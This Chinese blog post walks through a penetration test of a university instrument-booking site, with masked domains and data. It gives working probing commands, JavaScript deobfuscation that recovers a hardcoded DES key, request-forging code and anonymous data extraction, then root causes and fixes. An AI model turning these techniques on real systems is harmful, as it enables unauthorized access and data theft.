对学校网站进行一次渗透并发掘了一些漏洞

6167 字
31 分钟
对学校网站进行一次渗透并发掘了一些漏洞

首先对已经脱敏的数据进行讲解#

  • 目标域名:atcrs.example.edu.cn(占位域名,原著为某高校实际域名)
  • 目标 IP:203.0.113.39(RFC 5737 保留的文档示例网段)
  • 单位名称:XX大学 / XX大学分析测试中心
  • 统一认证地址:authserver.example.edu.cn
  • 硬编码 DES 密钥:3111****(8 位数字,仅保留前 4 位)
  • 管理员联系电话:020-****2392、189****4658、136****8864
  • 后台操作人账号:adm***
  • 固定资产编号:保留前 6 位,后 2 位打码,例如 217502**
  • 仪器台账共 63 条,正文只节选代表性条目,完整清单不公开

所有过程不放图片是真的懒得打码。


结论#

这套系统在完全无凭据(无 Cookie、无 Token) 的状态下,呈现出四类问题:

  • 未授权调用:POST /WebService/wxPublicInterface.asmx/IoControl 可被匿名调用,返回业务 JSON
  • 堆栈泄露:缺少必需参数 DESJson 时返回 HTTP 500,并附带完整 .NET 调用链
  • 接口地图外泄:全部前端 JS 匿名可读,内含 60+ 后端方法名、类名与入参格式,手工枚举后 59 个方法名中有 21 个匿名可达并返回真实数据
  • 后台模板匿名可读:密码找回页、他人税号登记页、用户中心模板页全部 200

核心危害是未授权接口暴露 + 内部信息泄露。设备控制类接口虽然暴露,但最终验证表明它是一个调度网关而非真实控制入口,没有实际执行任何设备操作。


渗透过程#

侦察起点:这个站点是什么#

三个同域主机并行探活,只看响应头和标题:

Terminal window
for h in apply.example.edu.cn atcrs.example.edu.cn glxygzh.example.edu.cn; do
curl -sk -m 15 -D - -o /dev/null "https://$h/"
curl -sk -m 15 "https://$h/" | grep -oE '<title>[^<]*'
done

命中特征:

  • Server: Microsoft-IIS/10.0
  • 存在 X-AspNet-Version、ASP.NET_SessionId
  • 标题指向「大型仪器共享 / 实验室设备预约收费平台」

Tips — 看到 IIS + ASP.NET 意味着什么

  • .asmx 文件是 WebService 的入口。它不是网页,而是一个「方法路由器」:POST /xxx.asmx/方法名 就能直接调后端的一个函数,参数用 JSON 传。这种设计天然缺少统一鉴权层,鉴权往往散落在每个方法内部。
  • ASP.NET_SessionId 是会话 Cookie。服务端用它把「这次请求」和「服务端内存里的一个会话对象」绑起来。只要 Cookie 不变,服务端就认为你是同一个人。
  • 详细错误默认可能开着。ASP.NET 的 <customErrors mode="Off"> 一旦生效,任何异常都会把 .NET 的堆栈原样吐给客户端,包括类名、方法名、参数名。

目录探测:没有扫描器就自己写#

直接写了个按状态码 + 长度筛选的小脚本,stdlib 零依赖:

import urllib.request, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
for p in ["/customer/index/index.html", "/customer/index/index2.html",
"/en/student/login", "/index.aspx", "/default.aspx",
"/webinterface.aspx", "/caslogin.aspx"]:
try:
r = urllib.request.urlopen(
urllib.request.Request("https://atcrs.example.edu.cn" + p),
timeout=12, context=ctx)
b = r.read()
print(f"{p:38s} {r.status} {len(b)}")
except Exception as e:
print(p, getattr(e, "code", e))

产出:

/customer/index/index.html 200 51489 <-- 首页(单页应用)
/en/student/login 200 16981

于是把基点锁定在 /customer/index/index2.html。


Tips — 一般目录扫描会用什么工具 见下一篇或者下下片文章吧。#

扒前端js代码#

打开首页,把页面引用的脚本全扒下来:

Terminal window
curl -sk "https://atcrs.example.edu.cn/customer/index/index2.html" -o js/index2.html
grep -oE 'src="[^"]+\.js[^"]*"' js/index2.html | sed 's/src="//;s/"//'
mkdir -p js && for f in base plug login menu index global WXS; do
curl -sk "https://atcrs.example.edu.cn/Customer/js/$f.js" -o js/Customer_$f.js
done

拿到的东西全部无需登录即可下载:

  • Customer_global.js(98 KB)
  • Customer_index.js(193 KB)
  • Customer_WXS.js(94 KB)
  • Customer_login.js、Customer_menu.js …

Tips — 前端页面js的用处 服务端渲染的站点,前端只拿到拼好的 HTML,接口藏在表单 action 里,能看到的很有限。 但单页应用把「怎么调后端」这件事整个搬到了浏览器里:方法名、类名、参数结构、甚至加密密钥,全在 JS 里。浏览器能读,攻击者就能读——这不算漏洞,但它把「猜接口」变成了「搜文本」。 所以对 SPA 的第一反应不该是爆破目录,而是 grep 前端资源。#

抠出接口#

Terminal window
grep -oE 'asmx/ashx/aspx' js/index2.html
grep -oE 'url:\s*"[^"]*"' js/Customer_index.js | head

命中两条关键路径:

url: "../../WebService/WebService.asmx/GetColumnLastTime"
url: "../../WebService/wxPublicInterface.asmx/IoControl"

wxPublicInterface.asmx/IoControl 是统一调度入口——所有业务请求最终都从这里下发。

抠出硬编码密钥#

Terminal window
grep -oiE 'deskey[^;]{0,120}' js/Customer_global.js
# -> deskey=_0x5e7d4d(-0x6f,-0x135,-0x2c,0x8,0x5c)

值被字符串混淆函数 _0x5e7d4d(...) 包着。这里的思路不是人工反混淆,而是让这段代码自己跑一遍——用 Node 的 vm 造一个假沙箱,把依赖(CryptoJS、jQuery、localStorage)都替换成空壳,跑完直接读全局变量:

Terminal window
node -e "const vm=require('vm');
const code=require('fs').readFileSync('js/Customer_global.js','utf8');
const sb={
CryptoJS:{enc:{Latin1:{parse:()=>({})},Utf8:{parse:()=>({})}},
DES:{encrypt:()=>({}),decrypt:()=>({})},mode:{CBC:1},pad:{Pkcs7:1}},
jQuery:{fn:{},extend(){},ajax(){}},
localStorage:{getItem:()=>null},
document:{getElementById:()=>({})},
window:{},console
};
vm.createContext(sb);
vm.runInContext(code,sb,{timeout:5000});
console.log('deskey=',sb.deskey);"

输出:

deskey= 3111****

Tips — vm 沙箱去混淆为什么好用 混淆器(obfuscator.io 这类)做的事,是把常量拆成一堆数字,再用一个解密函数在运行时拼回来。它必须在运行时才能解密,因为浏览器要拿到真值。 那就干脆给它一个「假浏览器」:vm.createContext() 建一个干净的全局对象,代码在里面执行,require、document、CryptoJS 全部由我们自己伪造。它跑完,全局变量 deskey 上就是明文。 比逐行手推 _0x5e7d4d(-0x6f,-0x135,...) 快一百倍,也是逆向混淆 JS 的通用手法。#

加密信封:客户端加密为什么等于没加密#

前端这套逻辑想做的事是:「请求参数被 DES 加密了,所以中间人看不到、也改不了」。

加密方案:

  • 算法:DES-CBC
  • 密钥:3111****(8 字节)
  • IV:与密钥相同
  • 填充:PKCS7
  • 编码:Base64

实际请求里的四个关键位置:

  • wxAuthorization(请求头):enc({"f":<方法名>,"c":<类名>}),决定后端分发到哪个类哪个方法
  • DESJson(请求体):enc(<业务入参 JSON>)
  • Authorization(请求头):一个固定常量(W****Key****,含厂商拼音,已打码)——看着像鉴权,实际只是客户端标识,改不改都一样
  • uitoken(请求头):由 GetUIToken 下发的令牌

等价实现(需要 pycryptodome):

from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
import base64, json
K = b"3111****" # 已脱敏,实际为 8 位数字密钥
def enc(d): # 加密信封
raw = d if isinstance(d, str) else json.dumps(d)
return base64.b64encode(
DES.new(K, DES.MODE_CBC, K).encrypt(pad(raw.encode(), 8))
).decode()
def dec(s): # 解密回包
return unpad(DES.new(K, DES.MODE_CBC, K).decrypt(base64.b64decode(s)), 8).decode()

Tips — 为什么加密没有用 对称加密有一个铁律:密钥出现在哪一端,那一端就不设防。 这里的密钥写死在前端 JS 里,而 JS 是要发给浏览器的。于是:

  • 攻击者读 JS → 拿到密钥 → 能解所有抓到的包(机密性归零)
  • 攻击者拿到密钥 → 能造任意合法信封(完整性归零)
  • IV 直接用密钥,等于把「随机性」也送掉了,相同明文永远得到相同密文,可以肉眼对比重放 客户端加密真正能防的只有「顺手看流量的路人」,防不住任何有浏览器的人。真正的防线只能是服务端鉴权,而不是「参数看起来是乱码」。

第一次撞墙:为什么我构造的请求全是 404#

拿着密钥手工构造 wxAuthorization,调业务方法,结果一律 404。

当时做了三步排除:

  • 解码浏览器抓包(ws_pairs.json,15 组请求/响应原文)里的 wxAuthorization,确认自己的编码结果与浏览器逐字节一致 → 排除编码错误
  • 整包重放浏览器原始请求(连 header 一起照搬)→ 仍然 404
  • 但单独调 GetUIToken → 200,并下发 UIToken Cookie + ASP.NET_SessionId

第三步是转折点:同样的加密、同样的头,为什么只有 GetUIToken 能过?

结论是 IoControl 是两段式调用:

  • 第一步:匿名调 GetUIToken(类 PublicInterface),换取 uitoken。服务器把它绑定到当前会话的 ASP.NET_SessionId
  • 第二步:带着同一个会话 Cookie + uitoken 请求头,业务类方法才放行

验证脚本 session_call.py,运行输出:

warm cookies: []
GetUIToken: 200 ...token
[200] GetWebsiteVisits -> {"code":0,"FWCS":460083}
[200] GetNewsList -> {"code":"0","LASTTIME":"1670247663","LMBH":"39","data":[...]}
[200] GetUIIndexConfig -> {...}
checklogin -> {"ReturnFlag":"0","ReturnMsg":"当前登陆状态失效,请重新登陆!"}

这几行输出信息量很大,逐条拆:

warm cookies: [] + GetUIToken: 200
预热页面未下发任何 Cookie,说明调用时完全匿名、零凭据;服务器却签发了合法 token。本该「登录后才发」的令牌,匿名就能拿到——这是整条链的入场券。

GetWebsiteVisits -> {"code":0,"FWCS":460083}
多次调用时 FWCS(站点访问量)持续递增(459937 → 460080 → 460083),说明拿到的是真实业务回包,不是静态页或缓存。

GetNewsList 里的 LASTTIME / pzlasttime
这是增量同步的时间戳字段。攻击者带着上次的时间戳反复调用,就能持续增量拉取,泄露面随时间扩大,不是一次性快照。

GetUIIndexConfig 的字段
这是信息密度最高的一项:

  • SchoolName:站点归属,确认目标身份
  • xncs1 = CAS:认证方式为统一身份认证
  • logoutURL:泄露统一认证服务器地址
  • xnLogin / weixinlogin / LocalLogin 均为 1:校内 / 微信 / 本地登录全部开启
  • SMSPWDConfig=1 / SMSVerificationConfig=0:短信改密开启、短信验证关闭
  • logoImg:泄露内部上传目录 /UpLoadFile/NewsFile/
  • Ver=13、UIURL:系统版本与站点根地址
  • WZDB:URL 编码的页脚,解码后是开发商信息

checklogin 的返回值才是重点

它返回的不是 401/403,而是格式良好的业务 JSON:「当前登陆状态失效,请重新登陆!」。


Tips — 为什么「业务 JSON 里的未登录」比 401 危险 HTTP 401 / 403 的意思是:在门口就被拦住了,请求根本没进业务代码。 而这里的响应说明:请求已经穿过网关、穿过分发、进了业务方法,只是在业务逻辑内部发现「你没登录」,然后自己写了个 JSON 告诉你。 差别在于:

  • 门口拦截 → 攻击面止于入口
  • 进来才拦 → 每个方法的代码都跑了一部分,只要某个方法忘了判断登录态,就是未授权访问

手工复核:三个独立证据#

未授权调用 IoControl#

Terminal window
curl -sk -i -X POST \
-H "Content-Type: application/json" \
--data '{"DESJson":"x"}' \
"https://atcrs.example.edu.cn/WebService/wxPublicInterface.asmx/IoControl"

返回 HTTP/1.1 200 OK、Server: Microsoft-IIS/10.0、响应体:

{"d":"{\"code\":\"1\",\"msg\":\"error\"}"}

匿名请求被受理并进入了业务方法(否则会是 404)。

触发 .NET 堆栈泄露#

把参数名故意写错:

Terminal window
curl -sk -i -X POST \
-H "Content-Type: application/json" \
--data '{"json":"x"}' \
"https://atcrs.example.edu.cn/WebService/wxPublicInterface.asmx/IoControl"

返回 HTTP/1.1 500,响应体:

Web 服务调用无效,参数“DESJson”缺少值。
在 System.Web.Script.Services.WebServiceMethodData.CallMethod(Object target, IDictionary`2 parameters)
在 System.Web.Script.Services.WebServiceMethodData.CallMethodFromRawParams(Object target, IDictionary`2 parameters)
在 System.Web.Script.Services.RestHandler.InvokeMethod(HttpContext context, WebServiceMethodData methodData, IDictionary`2 rawParams)
在 System.Web.Script.Services.RestHandler.ExecuteWebServiceCall(HttpContext context, WebServiceMethodData methodData)

参数差异对照(同一接口):

{'DESJson': 'x'} 200 {"d":"{\"code\":\"1\",\"msg\":\"error\"}"}
{'DESJson': ''} 200 {"d":"{\"code\":\"1\",\"msg\":\"error\"}"}
{'json': 'x'} 500 参数“DESJson”缺少值 + StackTrace
{'DeviceId': '1'} 500 参数“DESJson”缺少值 + StackTrace

Tips — 一次 500 能白送什么 上面这四段堆栈至少给了三样东西:

  • 参数名 DESJson:入参信封叫什么,直接决定了后面能不能构造合法请求
  • 框架实现 System.Web.Script.Services:确认是 ASP.NET 的 JSON-RPC 风格分发,而不是 SOAP,所以要用 application/json 而不是 XML
  • 完整调用链:RestHandler.ExecuteWebServiceCall → InvokeMethod → CallMethodFromRawParams → CallMethod,能反推服务端处理顺序 这也是信息泄露类漏洞最省力的取证方式:不用猜,故意发个错包就行。

后台模板页匿名可读#

/model/ 目录列举被拒(403,标准 IIS 页),但目录下的具体文件可读:

Terminal window
for pg in passback otherusereg changepwd; do
curl -sk -o /dev/null -w "%{http_code} %{size_download} $pg\n" \
"https://atcrs.example.edu.cn/model/TwoGradePage/$pg.html"
done
curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
"https://atcrs.example.edu.cn/Customer/MasterPage/UserCenterPage.html"

产出:

model/TwoGradePage/passback.html 200 <-- 密码找回
model/TwoGradePage/otherusereg.html 200 <-- 他人税号登记
Customer/MasterPage/UserCenterPage.html 200 <-- 用户中心后台模板

从 passback.html 又顺藤摸到 /model/TwoGradePage/js/PassBack.js,这是找回链全部方法名与入参的出处。


Tips — 目录 403 ≠ 文件 403 IIS 的「目录浏览」是单独一个开关,关掉之后访问 /model/ 会返回 403,但这并不代表目录里的文件不可访问。 权限是在文件层面判的,目录只是少了个「列表页」。所以看到目录 403 就放弃,很容易漏掉真正的暴露面——正确做法是逐个具体文件名去试。#

把接口地图摊开:59 个方法,21 个匿名可达#

从前端 JS 提取方法名后,逐类(PublicInterface / IndexInterface / UserCenter)匿名尝试。判定标准是 HTTP 200 且回包可解密为业务 JSON。

结果:59 个方法名中 21 个匿名可达并返回 200(enum_methods.py → method_enum.json)。

可达方法(节选):

[200] GetUIIndexConfig PublicInterface DATA
[200] checklogin PublicInterface DATA
[200] GetColumnList_UI PublicInterface DATA
[200] GetIndexDevBm PublicInterface DATA
[200] GetJKInfo IndexInterface DATA
[200] GetWebsiteVisits IndexInterface DATA
[200] GetNewsList IndexInterface DATA
[200] GetZDDevlist IndexInterface DATA
[200] GetDevlistByJZ IndexInterface DATA
[200] GetLinksList IndexInterface DATA
[200] GetKb / GetKCInfo / GetZDLablist / GetDevCategory /
GetDevData / GetDevGZRQ / GetDevYuYueRank / GetMonthDevData /
GetWebSite / GetHtJKInfo ...

不可达(未注册或已移除):

[404] GetDevsOrderList / getUserInfo / GetKouFenList_UI /
GetTeacherList / GetProList ...

再给可达方法配真实入参(入参格式同样从 JS 里抠,例如 {"MKID":"banner","lasttime":0,"pzlasttime":0,"lang":"cn"}),逐个取回真实数据(verify_consequences.py → consequences.json):

  • GetUIIndexConfig(1079 B):认证与站点配置,含登录开关、SMS 配置、logo 路径、站点根地址
  • GetColumnList_UI(15206 B):整站栏目树,含栏目 ID / 名称 / 链接 / 子栏目
  • GetIndexDevBm(4249 B):校级组织架构,含部门 ID 与名称
  • GetJKInfo(339 B):后台模块清单(仪器预约 yqyy、通知公告 tzgg、仪器培训…)
  • GetDevlistByJZ(3912 B):实验室 → 仪器台账,含仪器名 + 固定资产编号
  • GetZDDevlist(1565 B):重点仪器详情,含管理员联系方式
  • GetLinksList(300 B):友情链接,并泄露后台操作人账号
  • GetNewsList(1323 B):新闻公告条目,含标题、时间、ID、附件字段
  • GetDevData(665 B):平台运营统计(设备总数、金额、使用/开放数)
  • GetDevCategory(5608 B):设备分类目录
  • GetDevYuYueRank(6653 B):仪器预约排行(仪器名/编号/金额/次数/学院)
  • GetMonthDevData(229 B)、GetDevGZRQ(519 B):月度与年度统计
  • GetWebsiteVisits(24 B):站点访问量
  • checklogin(74 B):登录态探测
  • GetKb / GetKCInfo / GetZDLablist / GetDevCATEGORYbypid / GetWebSite:可进入服务端分发,但因后端未就绪返回 code:0/-1 或异常

这些数据能干什么#

后台账号明文#

GetLinksList 的匿名回包里带操作人字段:

{"ID":"1","YQLJBT":"XX大学官方网站","YQLJURL":"https://www.example.edu.cn/",
"TJR":"adm***","CZR":"adm***", ...}

后台账号为 adm***。但继续往下走会发现:找回密码的验证码是发到手机上的,所以「拿到账号名」本身不足以接管账号,链路到此为止。这一点值得单独记一笔——很多漏洞报告在这一步就写成「可接管后台」,实际是过度声明,我在补天交的漏洞就是这样不过审的。

找回链的全部后端方法#

passback.html 里可见 4 种找回方式,全部只靠 4 位图形验证码保护:

<!-- 方式1:账号 + 手机验证码 -->
<input id="account4" name="Account4" /> <input id="phonecode" name="phonecode" />
<input id="phonepassword1" name="phonepassword1" /> <input id="code1" name="code1" maxlength="4" />
<!-- 方式2:账号 + 邮箱 -->
<input id="account1" name="Account1" /> <input id="email" name="Email" />
<input id="captcha_0" name="Code" maxlength="4" />
<!-- 方式3:账号 + 密保问题 -->
<input id="account2" name="Account2" /> <input id="question" name="Question" />
<input id="answer" name="Answer" /> <input id="captcha_1" name="Code" maxlength="4" />
<!-- 方式4:直接改密 -->
<input id="account3" name="Account3" /> <input id="password1" name="Password1" />
<input id="password2" name="Password2" /> <input id="captcha_2" name="Code" maxlength="4" />

配合 PassBack.js,可以还原出找回链的完整前端函数 → 后端方法映射:

  • SendPassBackCodeMsg(ZH) → TwoGradePage.SendPassBackCodeMsg:发送手机验证码
  • ChangePSWForPhoneCode(ZH, passwd, phonecode, code) → TwoGradePage.ChangePSWForPhoneCode:凭手机验证码改密
  • PassBackByEmail(strJson) → TwoGradePage.PassBackByEmail:邮箱找回
  • ResetPassword(strJson) → TwoGradePage.ResetPassword:直接重置密码
  • CheckGuid(guid) → TwoGradePage.CheckGuid:找回链接校验
  • verify_code(code) → PublicInterface.CheckCode:图形验证码校验
  • IsUnifiedIdentity() → PublicInterface.GetSystemParam:读系统参数

前端的 maxlength="4" 已经说明了验证码强度:4 位数字 = 1 万种组合。如果 CheckCode 没有频率限制、也不按会话绑定尝试次数,那么「直接改密」这条路径理论上存在绕过空间;再叠加 SMSVerificationConfig=0(短信验证关闭),攻击面更宽。


Tips — 为什么「可能可以」不能写成「可以」 渗透测试报告里最容易翻车的地方,就是把「接口存在」写成「漏洞可利用」。两者的距离可能是:

  • 验证码有没有服务端校验(可能前端校验、后端也校验)
  • 有没有频率限制(可能有,但没测出来)
  • 有没有账号与验证要素的绑定校验
  • 验证码是不是一次性 上面每一条都要实测。没有实测就写「可爆破」,属于过度声明,会直接降低报告可信度。所以这里只记录「接口面」和「防护薄弱点」,把可利用性交给实际验证。

资产测绘#

把三个接口的返回聚合起来,能得到一份相当完整的内部资产视图:

  • 实验室:12 个(名称 + 编号)
  • 仪器台账:63 台(名称 + 固定资产编号)
  • 设备分类:50 类(分类名 + 设备数)
  • 管理员电话:5 条(真实手机/固话 + 对应仪器)
  • 预约排行:5 条(仪器名/编号/金额/次数/学院)

GetDevlistByJZ 的实测样例(节选,编号已打码):

微区分析室(10103):自动镀金镀碳联用仪 190147** / 全新精研一体机 217502**
电解双喷仪 217502** / 离子溅射镀膜仪 217502**
聚焦离子束场发射扫描电子显微镜 217502**
场发射透射电子显微镜 217502**
物性分析室1(10104):动态热机械分析仪 217503** / 薄膜测厚仪 217503**
激光共聚焦显微镜 217503** / 激光粒度分析仪 217503**
表面分析室(10106):X射线光电子能谱 217504** / X射线衍射仪 171341**
单晶X射线衍射仪 217504** / 高通量X射线衍射仪 202400**
质谱分析室(10108):超高效液相色谱仪 217505** / 电感耦合等离子体质谱 217505**
气相色谱串联质谱联用仪 217505** / 高分辨磁式气质联用仪 217505**
光谱分析室(10109):傅立叶变换红外光谱仪 217506** / 显微共焦拉曼光谱仪 217506**
紫外可见近红外分光光度计 217506** / 圆二色光谱仪 217506**
磁共振分析室(10102):电子顺磁共振波谱仪(EPR) 217501**
全数字超导核磁共振谱仪(NMR)600 MHz 217501**

GetZDDevlist 的实测样例(电话已打码):

('020-****2392', 'MALDI-TOF质谱成像仪')
('189****4658', '激光闪解瞬态吸收光谱仪')
('136****8864', '气相色谱串联质谱联用仪')
('020-****2392', '高分辨率激光共聚焦显微镜')

GetDevCategory 的分类目录(共 50 类,节选):

10012 元素定性分析 14 10013 元素(半)定量分析 15
10014 有机分析 22 10015 无机分析 21
10017 组织形貌分析 8 10018 晶体物相分析 4
10019 成分价键分析 7 10020 分子结构分析 12
10022 热性能分析 8 10026 光学性能分析 4
10028 形貌分析 10 10033 表面宏/微观结构分析 6
10048 微生物 11 10049 细胞 13
10057 样品前处理 25 10011 成分分析 34

利用价值在哪:

  • 固定资产编号 + 实验室布局 + 设备型号 → 可支撑内部资产测绘与设备侧攻击面定位
  • 管理员联系方式 → 可支撑社工(这也是我脱敏的原因)
  • 设备型号本身 → 可反查固件/管理后台的已知漏洞

对防守方来说,这提醒一件事:资产台账类接口,即使「只读」,也属于敏感数据。它不写数据,但它把「你有哪些东西、放在哪、谁负责」全部告诉了你。


认知纠错:IoControl 不是设备控制入口#

旧结论:IoControl 是设备 I/O 控制类接口,未授权可调用,因此存在「未授权控制设备」的高危风险。

新证据:用前端泄露的密钥自行实现 JsonJiaMi,发送完全合法的 DESJson 并做因果隔离测试,结果如下:

  • 不带 wxAuthorization 分发头时,无论 DESJson 内容如何,恒定返回 HTTP 200 {"d":"{\"code\":\"1\",\"msg\":\"error\"}"} —— 说明 DESJson 根本没被业务层解析
  • 带 wxAuthorization=enc({f,c}) 时,服务端会解密并转发,但目标处理程序未部署:对每个类/方法一律返回 IIS 静态 404(5 个类名遍历全 404,所有 *.asmx 亦 404)
  • 只有 wxAuthorization 头生效,X-Foo / Authorization 被忽略 —— 二次确认头名与另一份记录(#704)一致

修正后的结论:IoControl 是一个通用 API 网关/调度器,不是设备 I/O 实体。它本身确实可匿名访问,也确实泄露了堆栈,但没有任何设备操作被执行,也没有返回任何业务数据,破坏性控制不可达。站点在测试期间始终可达(非封禁状态)。


Tips — 为什么定级要跟着证据走 定级不是看接口名字有多吓人,而是看实际能造成什么后果。 IoControl 这个名字听起来能「控制设备」,但如果它只是个转发器、后端处理程序根本没部署,那么它的真实危害就只有两条:暴露了一个入口、泄露了堆栈。 一条好用的自检:「我实际拿到了什么?」 拿到别的用户数据了吗?拿到可执行的操作了吗?如果两个都是「没有」,那就别往高危写。#

侦察路径总览#

① 存活/指纹 (curl -D)
└─ IIS10 + ASP.NET,确认是仪器共享平台
② 路径爆破 (自写 python)
└─ 找到 /customer/index/index2.html (SPA 入口)
③ 抽 JS (页面 src + Customer/js/*)
└─ global.js / index.js / WXS.js 匿名可读 ← 攻击面核心
④ 抠接口 + 密钥
├─ grep url:"..." -> wxPublicInterface.asmx/IoControl (统一调度)
└─ node vm 沙箱去混淆 -> deskey = 3111****
⑤ asmx oracle (POST *.asmx/x)
└─ IoControl 未授权可调用 (200 业务 JSON)
⑥ 故意错包 -> 拿到 DESJson 参数名 + System.Web.Script.Services 堆栈
⑦ 后台模板探测
└─ passback.html / otherusereg.html / UserCenterPage.html 匿名可读
└─ 顺藤: PassBack.js -> 找回链全部方法
⑧ 两段式鉴权 -> GetUIToken + SessionId cookie
└─ 21 个方法匿名可达,配真实入参取回业务数据
⑨ 因果隔离测试 -> 修正 IoControl 的定级

Tips — 什么是「asmx oracle」 oracle(预言机)在这里指:用一个固定请求,从响应的差异里反推服务端的内部状态。 对 ASP.NET 的 .asmx:POST /服务.asmx/方法名

  • 服务不存在 → 404
  • 服务存在、方法不存在 → 500 + 「未知 Web 方法」
  • 服务存在、方法存在 → 200 或 500 + 「参数缺少值」 三种响应的差异就是判定依据。好处是不需要字典:方法名本来就在前端 JS 里,这里只需要判断「哪些还活着」。 同理,参数探测也是 oracle:{"DESJson":"x"} 返回业务 JSON、{"json":"x"} 返回「参数 DESJson 缺少值」,两相对比就把参数名确定了。

根因分析#

  • WebService 层缺少统一鉴权:wxPublicInterface.asmx 定位是「微信公开接口」,但把设备控制类方法一并暴露,未在方法级校验调用者身份。鉴权发生在业务逻辑内部(checklogin 才判断登录态),而不是在调度入口拦截,属 CWE-306
  • 未关闭 ASP.NET 详细错误:<customErrors mode="Off"> 或等价配置,使异常堆栈随 500 响应返回,属 CWE-209
  • 静态/模板资源未做访问控制:/model/TwoGradePage/、/Customer/MasterPage/、/Customer/js/ 直接可读;前端 JS 里还硬编码了后端方法清单与加密密钥,进一步扩大信息面
  • 口令找回流程防护薄弱:4 种找回方式仅靠 4 位图形验证码,缺少频率限制与多因子校验
  • 客户端加密代替服务端鉴权:密钥硬编码在前端,机密性与完整性都无法保证,属 CWE-321 / CWE-798

修复建议#

  • 接口鉴权最小化:把 IoControl 这类设备控制/敏感方法从匿名公开接口移出,纳入统一认证与授权(登录态 / 签名校验 / 服务端 Token),并在服务端做方法级权限判定;确需小程序匿名访问的,只保留读取型、无副作用的方法
  • 关闭详细错误回显:Web.config 设 <customErrors mode="On" redirectMode="ResponseRewrite" defaultRedirect="~/error.aspx"/>,IIS 层对 500 使用自定义错误页,禁止 StackTrace 外泄;生产环境 <compilation debug="false"/>
  • 收敛匿名资源:对 /model/、/Customer/MasterPage/ 等后台模板与用户中心页面按角色做访问控制,检查 IIS 隐藏段与 <location> 授权规则
  • 前端资产去敏感化:移除前端 JS 中硬编码的密钥与加密逻辑说明,接口清单统一由网关管控;不要用「前端加密」代替服务端鉴权
  • 加固找回流程:所有找回方式增加频率限制、提升验证码强度、强制账号与验证要素绑定;「直接改密」路径强制二次验证(短信/邮箱/密保 + 图形码)
  • 全量接口巡检:对 /WebService/*.asmx 全部方法做匿名可达性盘点,关闭或鉴权所有不应公开的方法;结合 WAF 与日志对异常调用告警

总结#

这次使用的是deepseek + ARTEX ,确实ai挖洞效率很高,但是出错率也很高,还是需要人工验证,以后网安需要的人才应该是要会深层的东西,前期的探测可以给ai做,并且还需要人来写ai前期探测的链路以及新的工具。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录